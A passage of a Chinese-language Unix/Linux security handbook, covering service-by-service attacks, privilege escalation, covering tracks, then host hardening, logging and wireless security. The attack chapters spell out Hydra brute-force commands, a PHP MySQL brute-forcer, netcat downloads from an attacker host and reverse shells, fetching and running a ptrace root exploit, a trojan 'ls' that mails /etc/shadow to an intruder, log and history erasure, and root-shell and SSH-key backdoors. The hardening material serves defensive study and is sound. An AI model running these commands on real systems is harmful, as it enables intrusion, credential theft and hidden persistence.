这个听起来有些邪门,但的确有可能,一些注释是在开发时方便调试或理解的,但如果在工程完成后,这些注释没有被去掉,有些东西会泄漏一些不该让用户知道的东西。所以最好能定期对注释进行检查。

23.对于POP3的破解
a.你可以用Hydra来暴露破解,如:
  hydra -L usernames.txt -P passwords.txt 10.10.1.1 pop3
b.或是用Ettercap之类的工具通过嗅探来得到用户名和密码
  etteractp -C -N -m
对此,你最要用SSH来传输POP3通讯,如:
  ssh -L110 :127.0.0.1: 110 username@pop3server.somedomain.com

24.关于Portmapper 111(TCP)
 一些基于RPC(远程过程调用)的服务,如NIS(网络信息服务)不在静态端口上进行监听。这些服务通过Portmapper来注册它们的端口号。你可以使用rpcinfo命令:
rpcinfo -p hostname
来查询使用Portmapper注册的RPC服务。
如:使用showmount程序来查询一台远程主机有那些NFS共享内容:
  /usr/sbin/showmount --all
如果有人错误的把不该开放的目录共享了,攻击者可以用:
  mount -t NFS host.someexample.com:/etc /mnt/etc
挂载这个目录。

如果一定要允许NFS,则你应该:
1.在防火墙中配置阻挡NFS通讯,NFS允许在2049端口上。
2.在/etc/dfs/dfstab和/etc/exports中确保没有向任何未经授权的主机提供共享内容。
3.禁用一些发行版在安装的时候就启用了各种RPC服务。
4.如果不需要任何RPC服务,则可以禁用Portmapper服务。
5.把你的防火墙配置为不允许远程用户连接到RPC服务。

25.NNTP(网络新闻传输协议):119(TCP)
  NNTP是一种用于分发、查询、获取和张贴新闻文章的普通文本协议,并且一般NNTP服务器不要求身份验证。所以除了可以通过"ettercap -C -N -m"来嗅探NNTP数据流外,还可以用Hydra的一下命令来暴力破解NNTP带验证的服务器:
  hydra -L usernames.txt -p passwords.txt 10.0.0.1 nntp

26.Samba:137~139(TCP)
  samba使用SMB(服务器消息块)协议在网络上共享文件和打印机。samba使用用户名和密码对来进行验证,所以也可以用Hydra来暴力破解:
  hydra -L usernames.txt -P passwords.txt 10.10.1.1 smb
如果是用ettercap嗅探得到的密码则是经过散列计算后的,在扑捉到散列值后可以用John the Ripper之类的密码破解器来破解获取的散列,运气好的话可以从http://www.openwall.com/john上找到。

此外,你还可以用samba自带的smbclient来查找远程系统放出了那些共享文件:
  smbclient -L smbserver -I 192.168.1.10 -U ''
在确定有那些文件被共享后可以用mount命令来转载:
  mount -t smbfs -o username = ''//192.168.1.10/etc/mnt/smbshare

对于samba的防范:
1.将防火墙配置为阻挡samba数据通讯
2.用SSH来传送Samba数据:
  ssh username@remotesmbserver.com - example.com -L139:127.0.0.1:139

27.IMAP2/IMAP4(Internet消息存取协议2/4):143(TCP)
  可以用"hydra -L usernames.txt -P passwords.txt -s 143 192.168.1.1 imap"来暴力破解。

28..rhost的错误配置
  假设某个用户的主目录中有一个.rhosts文件,其内容如下:
++
这样一个文件将允许来自任何主机的任何用户无需密码就可以用rlogin登陆到该用户的帐户,对于一个入侵者来说,是可以用这种方法来设置受害的远程帐号的。

对于rlogin服务来说,需要把inetd.conf中的相应的行标注为禁用rsh、rlogin、rexec服务。

29.一些加密的应用协议
如NNTPS(tcp 563)、IMAPS(tcp 993)、POP3S(tcp 995)来说,可以个客户机与服务器之间的加密通信。可以用openssl来连接服务器,如:
openssl s_client - connect: 192.168.1.1:563
openssl s_client - connect: 192.168.1.1:993
openssl s_client - connect: 192.168.1.1:995

30.暴力破解MySQL
MySQL使用的是明文机制来传输数据的,因此可以用ethereal之类的工具进行嗅探,此外还有一个PHP的脚本来暴力破解MySQL服务器:

<?
$ usernamefile ="usernames.txt";
$ passwordfile ="passwords.txt";

if($ argc ! = 2)
{
 print "Usage: $ argv[0] hostname /n";
 exit ();
}

$ ufilehandle = @ fopen ($ usernamefile, "r");
$ pfilehandle = @ fopen ($ passwordfile, "r");

if((!$ufilehandle) || (!$ pfilehandle))
{
 print("Could not open username or password file. /n");
 exit ();
}

while ($ username = @ fscanf ($ ufilehandle, "%s /n"))
{
 while ($ password =@ fscanf ($ pfilehandle, "%s /n"))
   if (@ mysql_connect ($ argv[1], $ usrname[0],$ password[0]))
  print ("SUCCESS!: $ usrname [0], $ password[0] /n");
}
print("DONE /n");
?>
如把上述文件保存为mssqlbrute.php。在php环境中运行:
  php -f mssqlbrute.php mssql.somecpmpany -example.com

31.VNC(虚拟网络计算):5800+, 5900+ (TCP)
VNC是一个远程控制软件包,它允许其他人访问远程主机的桌面。VNC是一个免费软件,可从http://www.realvnc.com/下载。
对于VNC可以使用http://www.phenoelit.de/vncrack/上的vncrack工具,可以尝试暴力破解vnc。
vncrack -h 10.0.0.1 -w passwords.txt
另外还可能暴力破解一个VNC用户的~/.vnc/password文件,该文件包含着一个VNC密码散列:
  vncrack -C ~/.vnc/passwd
但VNC浏览器和VNC服务器之间活动数据是未经加密的,不过这种VNC数据流没有工具可以用来解密。

32.X系统6000~6003(TCP)
x窗口系统是一个用在各种操作系统上的对网络透明的窗口系统。而xhost程序用来添加和删除运行连接到X服务器的主机列表的主机名。
如在服务器10.0.0.1上用命令
  #xhost +192.168.1.3
则可以让在192.168.1.3上的所有拥有帐户的用户都可以启动一个X程序并让它显示在运行于10.0.0.1的X服务器上。而命令:
  #xhost +
则会使一台x服务器允许任何主机与之连接。
而连接到x服务器的用户可以用命令:
  #xwd -display 10.0.0.1:0 -root > screenshot.xwd
来得到一个名为screenshot.xwd的图像文件,使用命令:
  #xwud -in screenshot.xwd
就可以查看这个图像文件,在这个图像文件中可能会暴露一些已经登陆的用户信息。这样,如果是一个恶意用户就可以用一些工具来得到一些有价值的信息,如:
1.用工具xscan,
  #xscan 10.0.0.1
它会把10.0.0.1上的用户所有的击键都记录到文件KEYLOG10.0.0.1:0.0中。这个东西好像在http://packetstormsecurity.org/中有。
2.工具xwatchwin,可以实时显示远程用户的X会话的任何窗口,好像在http://packetstormsecurity.org/也有。
3.工具xremote,可以将鼠标和键盘事件发送到远程X会话。在http://www.infa.abo.fi/~chakie/xremote/处可以得到。
4.工具xkey,一个类似与xscan的东东,可在http://packetstormsecurity.org/找到。

对于那些运行X服务器的用户来说,你最好在防火墙上阻挡6000~6063端口,这样会禁止外部的主机连接到内部X服务器上,或者用SSH隧道的方式来传输X数据流:
ssh -X username@remotexsever.com

33.web代理(8000+ TCP)
web代理是用来做http或https代理传输的,如有配置的不当,入侵者可以进行代理的攻击,如在http://desporxy.sourceforge.net/中有一个叫desproxy的命令行工具,它使用HTTP/1.1所支持的CONNECT方法来通过Web代理建立TCP连接。如:
  #desproxy 10.0.0.1 23 192.168.1.1 8000 2300
这个命令可以让入侵者telnet那他自己的主机(127.0.0.1)的端口2300上,就相当于通过在web代理(192.168.1.1)的8000端口连接到了10.0.0.1的telnet端口(23)上。而受害主机只能记录下IP来自192.168.1.1的连接。如果入侵者已经控制了不允许向外建立TCP连接的内网的一台主机,那么他就可以使用desproxy通过一个可用的Web代理与外部主机建立TCP连接。

对于这种入侵,可以用防火墙规则阻止外部主机对内部的web代理的连接来防止。

34.对于应用程序漏洞的防治
  很多的软件都有漏洞,这些漏洞你没法去一开始就去阻止它,只有不停的打补丁,更新,升级才能有所好转。此外,你还可以去订阅一些Bugtraq等漏洞监控列表。

35.用netcat来获取远程的shell
a.把netcat放到已经存在漏洞的主机上。
你可以运行一个可访问的tftp服务器,用tftp:
tftp -i attacker_ip_address nc
你可以在受害机上用wget:
wget http:/attacker_ip_address/nc
或你可以用ftp客户端在受害主机上去从你的ftp服务器上下载:
b.使用netcat
用netcat开启一个9999端口
  #./nc -e /bin/sh -l -p 9999
连接到netcat
  # nc victim_ip_address 9999
此外,netcat还可以反向的向入侵者建立连接,在入侵者的机器上。
  # nc -v -n -l -p 9999
之后在受害者机器上执行:
  # ./nc -e /bin/sh attacker_ip_address 9999

注:Netcat默认情况下未启用 -e 选项,该选项是用来在连接建立之后执行程序的。如果想要支持-e标志,必须带着-DGAPING_SECURITY_HOLE选项重新编译,但一定要在把netcat二进制代码上传到受害者主机上之前做这件事。

36.端口映射
端口映射可以用来绕开脆弱的防火墙规则,连接到那些运行在被防火墙过虑的端口之上的服务。
本地端口映射:
如,一个入侵者要连接到一台已经被入侵的主机的Mysql服务器上,且防火墙只允许80上进入的连接,则入侵者可以在受害机器上执行下列命令:
  #zebedee -T 80 -s 127.0.0.1:3306
之后,入侵者可以在他的机器上执行:
  #zebedee -T 80 victim_ip_address 3306 127.0.0.1:3306
这将使入侵者主机上的zebedee进程连接到在受害者主机的80端口上监听的zebedee进程,之后入侵者连接到他的主机(127.0.0.1)的端口3306,即通过zebedee隧道连接到受害主机的3306端口。

远程端口映射:
当防火墙不允许任何进入的连接,且只允许在端口80上有向外的连接时。入侵者可以在他的主机上运行:
  #zebedee -l 3306:*:3306 -T 80
之后,入侵者在受害者主机上运行如下命令:
  zebedee -T 80 -c intruder_ip_address -s 127.0.0.1


第五章     权限扩展
因为当过滤回送接口(127.0.0.1)上的通讯时,可能会导致很多应用程序的中断。所以本地用户可以利用此条件来扫描、列举、利用那些无法远程访问的服务。
1.查找属于组的文件
使用命令“id”可以找到所属的所有组。使用:
  find / -group $groups -print 2 > /dev/null
发现拥有权限的文件。

2.查找全局可读写文件
查找全局可读文件,如:
find / -type f -perm -4 -print 2 > /dev/null
查找全局可写文件,如:
find / -type f -perm -2 -print 2 > /dev/null
3.内核漏洞
如Linux"ptrace"漏洞,它时利用了2.2和2.4内核版本中的竞争状态漏洞。为了利用ptrace漏洞,一个入侵者要作的是获取并在受害主机上运行漏洞利用程序。如,
  #wget http://intruder's_web_server/ptrace.c
  #gcc -o ptrace ptrace.c
  #./ptrace
即可得到用root用户权限。(有点恐怖!)

4.路径中的"."
    由于当用户执行一条命令时,shell会在路径环境变量包含的目录列表中搜索命令坐在的位置。通过命令,"echo $PATH"可以看到。如果在其用户的路径中包含当前目录"."。有恶意的用户或入侵者创建一个名为"ls"的文件在当前目录下,如:
  #!/bin/bash
  cat /etc/shadow | mail intruder@intrude_mail.com
  /bin/ls
当用户在次目录执行"ls"命令时,就会触发这个脚本。(不过这中情况好像有些傻!)
5.Setuserid程序
    因为只有文件所有者才有权限执行Setuserid程序,所以,属于root用户的setuid文件始终以root身份执行,而不论其具体的执行者,所以这有引起权限提升的可能。如果要定位setuserid程序,可以如下:
  find / -perm -4000 -type f -print 2>/dev/null
6.软件漏洞
a.本地缓冲区溢出
可以通过http://securityfocus.com/bid/7216获得更详细的信息。
b.不正确的输入验证
http://securityfocus.com/bid/6077获得更详细的信息。
c.符号连接
当一个程序视图访问一个符号连接的文件时,内核会对符号连接所引起的文件名的处理过程进行透明的重定向。如CDE Tooltalk符号连接漏洞,它不检查正在写入的日志文件是否是一个符号连接文件。攻击者可以让Tooltalk日志写入/etc/shadow,破坏其内容,从而获得更高的权限。
7.核心转储
当一个Unix或Linux程序崩溃,操作系统会创建一个"核心"文件。该文件包括崩溃过程的信息,被开发者用来调试软件。由于核心文件包含崩溃过程的详细信息,一个入侵者可以故意利用一个已知漏洞使系统崩溃,从而设法获得放在核心文件中的敏感信息。


第六章     隐藏方式
1.禁用Shell历史记录
在bash shell的用户目录下有一个bash_history文件,里面记录着近期内执行过的命令的日志文件。如果想禁用历史记录可以:
a.将历史文件设置成一个到/dev/null的符号连接,如:
  #rm -rf /root/.bash_history
  #ln -s /dev/null /root/.bash_history
b.修改/etc/profile中的HISSIZE字段,这个字段是对记录保存名令的条数。(俺觉得用这个比较好,写晚之后用个脚本写入一些无用的history记录比较好些,呵呵!)
c.用"history -c"命令可以暂时清空history列表。
  总之,这个历史记录是不可信的!

2.清除/var目录
/var下的日志主要有:
utmp和wtmp  包含登陆系统的用户信息
messages和secrue    syslog后台程序用它来记录各种婴孩程序和后台程序提交的日志信息
xferlog     FTP后台程序用它来记录红素机传输请求。
maillog     SMTP服务器用它来记录邮件传输
lastlog     包含最近登陆的用户信息。
入侵者可以通过自动工具,如zap3等来完成,或修改配置文件来禁用日志服务,如syslog的syslog.conf文件,使之记录到/dev/null

3.安装一个远程shell服务
    入侵者可能添加一个到inetd.conf文件或xinetd.d目录的项目以使inetd或xinted可以在一个专用端口上提供远程shell服务。这可以通过配置inetd或xinetd以执行/bin/bash或其他命令行来完成,攻击者可以远程登陆到该远程端口以获得一个远程shell。
    如,入侵者可以编辑/etc/xinetd.d/domain如下:
  server domain
  {
    socket_type = stream
    wait = no
    user = root
    server = /bin/bash
    server_args = -i  
  }
并重起xinetd后,使代码生效。当入侵者远程登陆53端口后就可以得到一个根shell。
此外入侵者也可以通过添加一个Netcat(nc)的监听到root的crontab文件,来提供一个shell服务。

对于远程shell服务安装的防御:
a.尽可能多的限制防火墙规则和出站连接,如对于一个web服务器决不允许任何端口上都可以进行出站连接。
b.如果没有使用相关服务,可以禁用并卸载xinetd或inetd。

4.根用户特有的setuid和setgid的shell命令
一个已获得根权限的入侵者可以把/bin/bash拷贝到另一个不同的位置并使用具有+s参数的chmod命令将其标记为setuid。当入侵者用一个非根用户重新登陆后,只要运行setuid就可以获得一个根shell。

5.将一个本地帐户的uid更改为0
如果一个帐户的uid为0,则这个帐号就可以获得根权限。如果一个已经获得根权限的攻击者将/etc/passwd中用户的uid改为0,则此用户将拥有root权限。

6.关于.rhost文件
由于用户经常把一个.rhost文件放在其主目录下来为来自远程主机的免密码登陆提供方便。
入侵者可以把如下.rhost文件放到/root/中:
  intruder's_ip_address +
就可以用root用户身份进行远程登陆而不需输入密码。
对于.rhost的防御
a.使用ssh来代替远程的登陆命令和其他远程服务
b.常用"find / -name .rhost -print"对.rhost文件进行审核。(晕,累不累啊!)

7.不断利用SSH的授权密钥机制以确保持续进行根访问
入侵者可以通过其主机上的ssh-keygen程序创建所需要的公钥和私钥对,如:
  #ssh -keygen -t rsa
现在如果入侵者把.ssh/id_rsa.pub中的内容拷贝到 受害主机的.sshauthorized_keys中。入侵者就可以不需任何密码的情况下使用ssh进入受害主机了。
所以,不要运行根用户通过ssh登陆,为此,可以编辑sshd_config并加入:
  PermitRootLogin no

8.后门程序
通过在网上搜索rootkits就可以得到很多打包好的木马程序的程序包。
Loki2工具:一个用ICMP_ECHO和ICMP_REPLY数据包以隧道方式传输shell命令的后门安装程序。
系统命令替换,如简单的ls替换:
  #!/bin/bash
  cat /etc/shadow | mail intruder@intruders_mail
  /bin/ls.old
常用的替换命令有arp,cat,chfn,chsh,crontab,du,ifonfig,finger,find,killall,maor,locate,login,ls,lsof,passwd,pidof,ps,route,netstat,tail,tcpd,tcpdump,top,w,who,syslogd.等
Adore工具:
一个可使入侵者隐藏攻击程序、文件和网络设备详细资料的Linux内核模块集。
Linux Rootkit(LRK)
包括很多的二进制代码的命令和嗅探器,已经shell后面程序。(出差旅游之必备良药!)
Tornkit:
由各种木马程序的二进制代码、嗅探工具和执行自动禁用syslogd及其他关键服务的工具组成。
Knark:
一种用于隐藏文件和程序的rootkit工具。

防御工具:
Chkrootkit:用于检查rootkits的工具,可在http://www.chkrootkit.org上下载。
Tripwire或Samhain,用于侦测修改的二进制代码。

 

第二部分 主机安全强化

第七章     默认设置及服务
1.设置密码策略
a.使用隐藏密码,检查/etc/passwd文件以确定其中没有密码散列。密码散列应只能存在与/etc/shadow文件中,且只有根用户能读取改文件。
b.编辑密码配置文件(/etc/default/passwd),或用chage工具改变密码失效期。

2.删除或禁用不必要的帐号
许多服务在执行过程中会创建非特权帐号,如ftp,ntp,ip等,这些帐号最好禁用或删除。

3.从路径变量中删除"."
确保/etc/rc.local,/etc/profile,/etc/bashrc,/etc/csh.cshrc,-/.bashrc,~/.bash_profile,-/.cshrc,-/.login中的路径环境变量中不含"."

4.检查/etc/hosts.equiv文件的内容
/etc/hosts.equiv文件中包含了可信主机名和用户列表。如果不使用r命令或没有可信远程主机,可以删除该文件。

5.检查.rhosts文件
用"find / -name .rhosts -type f -print 2 >/dev/null"来检查是否有非法的.rhosts文件在不该在的地方。

6.禁用堆栈执行
用来防止出现某些缓冲区溢出。
如果时Solaris,则请编辑/etc/system/中并添加:
set noexec_user_stack=1
set noexec_usr_stack_log=1
对于非Solaris系统,可用一下工具:
StackGuard:http://www.immunix.rog/stackguard.html
Libsafe:http://www.research.avayalabs.com/project/libsafe/
StackGhost:http://stackghost.cerias.purdue.edu/
Openwall:http://www.openwall.com/linux

7.使用TCP封装器
使用TCP封装器可以监控和过滤传入的网络服务请求。在按有TCP封装器的主机上编辑/etc/hosts.allow文件,并确保下列命令行是一个非注释语句:
  ALL:ALL:deny
同时,将来自其他主机的连接默认设置为拒绝,即编辑/etc/hosts.deny,加入:
  all:all
再通过在/etc/hosts.allow中置人适当的项目来仅允许受信任主机的连接。

8.禁用不必要的服务
如果是使用inted,则编辑inetd.conf文件。
如果是xinted,则编辑xinetd.d目录中编辑相应的服务文件。
对于独立于inetd和xinetd的服务要编辑/etc/rc.d/中相应的脚本。
如果要禁止inetd和xinted启动运行,可以编辑/etc/rc.d和/etc/rc.local目录中禁用相应的文件。

9.确保日志记录已开启
对于inetd,编辑inetsvc文件以确保带"-t"参数调用inetd。
对于xinetd,添加"log_type=SYSLOG authpriv"行在xinetd.conf中。
最后编辑syslog.conf文件,启用*.info将日志记录到/var/log/messages中。

10.对于WU-FTPD的安全加强
a.编辑/etc/ftpaccess并使用greeting命令来改变服务器标志,如:
  greeting text No banner information availabel.Sorry.
b.确保/etc/ftpaccess文件包含不允许进入FTP访问取得用户列表。
c.编辑inetd.conf或/etc/xinetd.d/ftp文件,确保使用了带"-l"标记的调用in.ftpd来启用了日志记录。
d.如果允许匿名上传,则上传的文件必须是隐藏的,且应禁止下载被上传的文件。
e.用chroot来改变FTP环境来专门进行匿名访问。
f.使用ProFTPD来代替WU-FTPD.

11.对于SSH的安全加强
a.禁用版本号为1的SSH协议,确保sshd_config中含有以下行:
  Protocol 2
b.不允许根用户通过SSH登陆服务器,确保sshd_config中含有以下行:
  PermitRootLogin no
c.对于私钥文件:ssh_host_key,ssh_host_dsa_key,和ssh_host_rsa_key只允许根用户进行读取。
d.开启Privilege Separation选项,确保sshd_config中含有以下行:
  UsePrivilegeSeparation yes

12.对于Sendmail的安全加强
a.通过修改sendmail.cf文件,或通过编辑sendmail.mc文件中的conf SMTP_LOGIN_MSG的值,来改变SMTP的欢迎信息。
b.禁用EXPN和VRFY这两个SMTP协议所支持的用户名枚举命令。实现方法有:
1)编辑sendmail.cf文件,将Privacy Options设置为authwarings、noexpn、novrfy、restrictqrun,并关闭。
2)编辑sendmail.mc文件,并确保"define('confPRIVACY_FLAGS','authwarnings,noexpn,novrfy,restrictqrun')dnl"行存在。
3)或设置其他标记,如:asgoaway、restrictmailq、restrictqrun和nobodyreturn。详细资料请看文档
c.在sendmail.mc中添加"FEATURE('smrsh','/path/to/smrsh')dnl"命令行,以启动smrsh代替sh来作为MDA
d.确保文件及目录有适当的权限,如:
文件或目录     用户     组     权限
/etc/aliases     root     root    -rw -r- -r--
/etc/mail     root     root    drwx r-x r-x
/var/spool/mail     root     mail    drwx rwx r-x
/var/spool/mqueue   root     mail    drwx r-x r-x
e.不要向/etc/mail/access中添加任何不信任的主机名,该文件中的主机名是可以通过Sendmail服务器进行中继的。
f.设置对e-mail大小的限制,方法有:
1)在sendmail.mc中设置confMAX_MESSAGE_SIZE的值,如:
  define('confMAX_MESSAGE_SIZE','1048576')dnl
2)或编辑sendmail.cf文件,设置MaxMessageSize的值。
g.考虑用qmail来代替Sendmail。(晕,说了半天,白费了!)
注:Sendmail.mc是一个宏配置文件,修改之后需运行一下命令:
  m4 /etc/mail/sendmail.mc > /etc/sendmail.cf
生成一个新的sendmail.cf文件,重起sendmail后才能生效。

13.对于BIND(DNS)的安全加强
a.编辑BIND配置文件named.conf,更新版本号:
  options {
     version "Not available";
    }
b.使用allow-transfer指令来指定允许区域传输的主机:
  options {
     allow-transfer {ip_address;};
    }
c.为防止电子欺骗,关闭递归查询:
  option {
     fetch-glue no;
     recursion no;
   }
d.让BIND运行在,用chroot命令改变后的环境中。
e.限制动态更新,因为动态更新会启用一个远程服务对记录进行添加或删除。默认的BIND是不允许动态更新的,但在用"allow-update"后会启动动态更新。
f.用djbdns来代替BIND.详见http://cr.yp.to/djbdns.html

14.对于Apache(HTTP/HTTPS)的安全加强
a.改变HTTP标语.编辑httpd.conf文件:
  ServerSignature off
  ServerTokens Prod
或修改Apache源代码中的httpd.h中的"#define SERVER_BASEPRODUCT "Apache"" 行。
b.在http.conf文件中使用IndexIgnore指令来关闭自动搜索功能。
c.配置httpd.conf文件来限制Apache提供敏感性文件的功能,如限制以".ht"开头的文件:
  <Files ~ "^/.ht">
    Order allow,deny
    Deny from all
  </Files>
d.删除默认的手工页面、默认和示范的CGI脚本及应用程序。
e.在".htaccess"中,使用AccessFilename目录索引来设置Apache访问控制所必须用到的文件名。
f.让Apache运行在,用chroot命令改变后的环境中。
g.确保Apache在非根用户权限下运行,并确保httpd.conf中的用户和组设置为非根用户。
h.在httpd.conf中配置,使用ErrorLog、CustomLog、LogLevel和LogFormat指令来记录日志。
i.在httpd.conf中注释掉AddModule和LoadModule指令和非必须的模块。

15.对于Samba的安全加强
a.修改服务器的标识,在smb.conf中修改"server string = Samba Server"字符串。或编辑源程序的version.h文件里的VERSION常量。
b.编辑smb.conf文件,并设置hostsallow选项来限制可连接到服务器的主机数。
c.在smb.conf中将encypt passwords设置成yes,启用密码加密
d.若使用多网卡,在smb.conf中使用interfaces选项来指定samba所需侦听的接口。

16.对于NFS的安全加强
a.在/etc/exports或/etc/dfs/sharetab文件中用ro选项设置共享文件为只读,如:
  /share nfsclient_ip(ro)
b.编辑/etc/exports或/etc/dfs/sharetab文件确保secure选项存在,用以防止非根用户安装NFS共享。
  /share nfsclient_ip(secure)
c.在/etc/exports或/etc/dfs/sharetab中使用root_squash选项来限制远程用户使用根权限来安装NFS共享。
d.在安装NFS共享时应使用nosuid和noexec选项,用以禁止在NFS客户端执行二进制代码。

第八章     用户和文件系统权限
1.查找全球可读文件
 find /etc -type f -perm -4 -print 2 >/dev/null
2.查找全球可读文件
 find /etc -type f -perm -2 -print 2 >/dev/null
3.检查属于bin和sys所有的文件
  find / -user bin -print 2 >/dev/null
  find / -user sys -print 2 >/dev/null
4.umask值
umask用来指定一个默认的文件权限,建议值是007。且unask值不允许设置执行权限。
6./dev/中的文件
/dev中的文件不应是全球可读文件。
7.磁盘分区
建议按分区加载如下目录:
/boot
/home
/tmp
/var
且在加载/var和/tmp目录分区时可以考虑使用nodev、nosuid和noexec选项。
如果你想占用磁盘可以用:
cat /dev/zero > /tmp/zero
其中,/dev/zero文件是一个特殊的,永不停止的、包含零的文件。
8.查找setuid文件
  find / -perm -4000 -type f -print 2 >/dev/null
9.查找setuid文件
  find / -perm -2000 -type f -print 2 >/dev/null
10.实现wheel组
使用wheel组来限制对setuid程序的访问,如su,使得在改变su的权限使得只有wheel组中的用户才可以执行它,如:
  chgrp wheel 'which su'
  chmod u+s,o -rwx,u +rwx,g +rx 'which su'

第九章     日志记录与漏洞修补
1./var/audit日志文件
大多数Solaris的发行版带有BSM(基本安全模块),该模块是详细记录用户行为的工具,由于BSM审核作用于系统调用级别,所以可以产生大量的日志文件,要启动BSM,可以:
  #init 1
  #cd /etc/security
  #./bsmconv
配置/etc/security/audit_control文件以选择要进行日志记录的事件。
2./var/adm/loginlog日志文件
    在进行了5次失败的登陆尝试后,所有进一步的登陆尝试都会记录在该文件中。但只有该文件存在时,才会进行记录。而且请确保只有根用户可以读取该文件。
3./var/adm/sulog日志文件
记录使用su命令进行的登陆尝试。可以编辑/etc/default/su文件,并确保SULOG的值指向/var/adm/sulog。也可通过SYSLOG的值设为YES,来启动syslogd日志。
4./var/log/cron日志文件
用于记录后台程序的日志。编辑/etc/syslog.conf文件,确保有如下行:
  cron.*    /var/log/cron
5./var/log/maillog日志文件
用于记录主机的邮件服务器的一些记录,外发和收取邮件的详细信息,以及一些错误信息。
编辑/etc/syslog.conf文件,确保有如下行:
  mail.*    /var/log/maillog
6./var/log/messages日志文件
记录syslogd的记录信息,若要启用该文件日志,需在/etc/syslog.conf文件中添加:
  *.info;mail.none;authpriv.none;cron.none                /var/log/messages
7./var/log/secure日志文件
记录通过用户名和密码,或其他类似机制进行验证的程序的日志。编辑/etc/syslog.conf文件,确保有如下行:
  authpriv.* /var/log/secure
8./var/log/wtmp日志文件
记录在主机上发生的所有登陆的相关信息,该文件不时ASCII文件,必须用last工具来查看。
9./var/run/utmp日志文件
记录当前登陆到主机的用户信息,该文件不时ASCII文件,要用"w"或"who"命令来查看。
10.日志循环
可以使用如newsyslog或logrotate之类的工具来实现。

第三部分    专题
第十章     Nessus攻击脚本语言(NASL)
Nessus是一个免费的开放源代码的安全扫描程序,可以从http://www.nessus.org/上获得。它的攻击插件使用一种叫NASL的解释性语言编写。NASL脚本可以使用nasl解释器,从命令行加以运行:
  nasl -t target_ipaddress script.nasl

第十一章    无线攻击
在802.11b标准中所用的有线等效保密(Wired Equivalent Privacy,WEP)协议存在漏洞。可以通过象Airsnort和Kismet等免费开源工具。
1.WEP介绍
WEP是基于对称共享密钥系统的,因此其使用相同的密钥来加密和解密数据。这些密钥(K)是128位或64位,由一个24位的初始化向量(IV)组成。一个WEP有效载荷的构建方式如下:
  1.信息M域其自己的CRC-32校验和连接:c(M):
--------------------------------------------------------------------
|  M  |  c(M)     |
--------------------------------------------------------------------
  2.在密钥之前应用IV,并运用RC4流码算法:
---------------------------------------------------------------------
|   RC4(IV,K)        |
---------------------------------------------------------------------
  3.步骤1和步骤2的结果经过逻辑异运算生成密码文本。接着,将该密码文本与IV相连来生产WEP有效载荷:
---------------------------------------------------------------------
| IV   |   Cipher - text =((M),c(M)) XOR (RC4 (IV,k))     |
---------------------------------------------------------------------
如上述步骤,WEP帧以明文形式包括Iv。许多无线网卡都随即选取其IV,而其他网卡则从0开始顺序递增。因为IV仅24位长,所以无线网卡或者接入点隔几个小时就会重新使用一个。
注意:最终传送的帧由明文形式的MAC源、目的的信息以及其他信息组成。而象Airsnort等工具利用了RC4的密钥调度算法(KSA)中的弱点,详细弱点可以通过http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf来获得。
2.天线
天线用来在审核某区域以监视无线活动时,来接受来自某些网络的无线信号。其中定向天线用于在某个特定方向来接受和发送信号,这类天线包括八木天线和抛物线状的天线。而全向天线通常用来扩展访问点范围,可以接受并传送所有方向上的信号。
主要的天线生产厂商有:
Fleeman Anderson & Bird Corp:http://fab-corp.com/
HyperLink Technologies: http://www.hperlinktech.com/
NetNimble: http://www.netnimble.com/
SuperPass: http://www.superpass.com/
Wireless Central: http://wirelesscentral.net/
若想自制天线,可访问:http://www.turnpoint.net/wirless/has.html
3.常用工具
对支持WEP的网络而言,入侵者进行入侵的第一步就是通过利用诸如Airsnort等工具来获得WEP加密密钥。在得到密钥并成功地接入无线网络后,入侵者可以使用如Ettercap、tcpdump以及Ethereal等工具来分析网络流量。常用的工具有:
Airsnort:一个基于linux的被动监控传输破解WEP加密密钥的网络嗅探器。可在http://airsnort.shmoo.com/上获得。
Kismet:一个用来捕捉并查看某区域中无线污纳过滤相关信息的无线网络嗅探器,可以从http://www.tipsybottle.com/technology/wireless/RedHat8Kismet-HOWTO.shtml中获得相关在Linux上的安装和使用说明。
Fata-jack:一个Wlan-Jack工具的改进版。Fata-Jack向接入点发送一个带有关客户端的源地址的验证请求。该验证数据包有包含了一些非法信息,当接入点接收到该数据包时,就对IP地址被欺骗的客户端撤销验证。现在,受害的客户端必须使用AP重新进行验证。因此,以及等了到网络AP的恶意用户可以使用这个工具来发起一个拒绝访问攻击。这个工具可以从:http://www.loud-fat-bloke.co.uk/w80211.html下载,可从http://802.11ninja.net/处获得相关信息。
无线网络安全的保护:
用Airsnort之类的工具来破解WEP密钥,通常只需要大概5000000~10000000个数据包。一个合理的活动网络一般在几个小时就会有这么多的数据包。所以:
1.将网络视为“不可信”的
需要把公司内部网络隔离开来,如果要允许无线用户访问一个受信网络,建议安装VPN来通过支持加密的VPN客户端来进行连接,或使用LEAP(轻量可扩展验证协议)的接入点。另外鼓励使用WEP-Plus算法的污纳过滤设备来避免传送带有弱初始化向量的帧,以便阻止诸如Airsnort之类的软件成功的破解WEP加密密钥。
2.鼓励使用加密方式的工具
应该在任何可能的时候使用SSH之类的工具建立加密的隧道。
3.不允许对接入点进行无线管理
因为这样将需要对该接入点进行物理访问以进行配置。
4.更改默认的ESSID,并禁用无线管理
ESSID(扩展服务集ID)时一个作为配置参数输入到接入点和以太网卡的字符串。具有相同ESSID的设备可加入到同一个网络中。接入点在出厂时会默认配置一个特定的ESSID,该默认值通常是厂商名称。许多接入点也广播其ESSID,一般允许无线客户端从可用网络中进行选择。建议将接入点配置为禁用该功能,因为此功能会将关于该网络的信息发送给那些未经授权使用此网络的用户。注:不应该依靠它来保护安全性。
5.MAC地址过滤
利用支持MAC地址过滤的接入点,以便允许具有已知的MAC地址的选定客户端来使用网络。但由于合法用户的MAC地址是用明文形式发送的,这些地址在传送时会被探查,并被欺骗获得其网络访问权。所以,也不应该依靠它来保护无线网络的安全性。

第十二章    利用Sharp Zaurus PDA进行攻击
Sharp Zaurus PDA(个人数字助理)设备运行一个嵌入式的Linux操作系统。在Zaurus中有很多的安全工具。如:
Kismet:一种用来捕捉某区域的无线网络并查看其信息的无线网络嗅探器,可从http://kismetwireless.net/code/处下载Kismet数据包。其GUI可以从http://sourceforge.net/projects/kismet-qte/上获得。
WellenreiterII:一种用来捕捉某区域的无线网络并查看其信息的无线网络监控器。
Nmap:一种端口扫描器。可从http://familiar.handhelds.org/familiar/releases/v0.7/base/armv41/处获得。
Qpenmapfe:一种Zauruns Nmap端口的GUI前端。可从http://home.midsouth.rr.com/zaurus/处获得。
Bing:一个能自动进行端口扫描的简单脚本。可从http://www.claystuckey.com/chad/bing_0.0.1_arm.ipk下载。
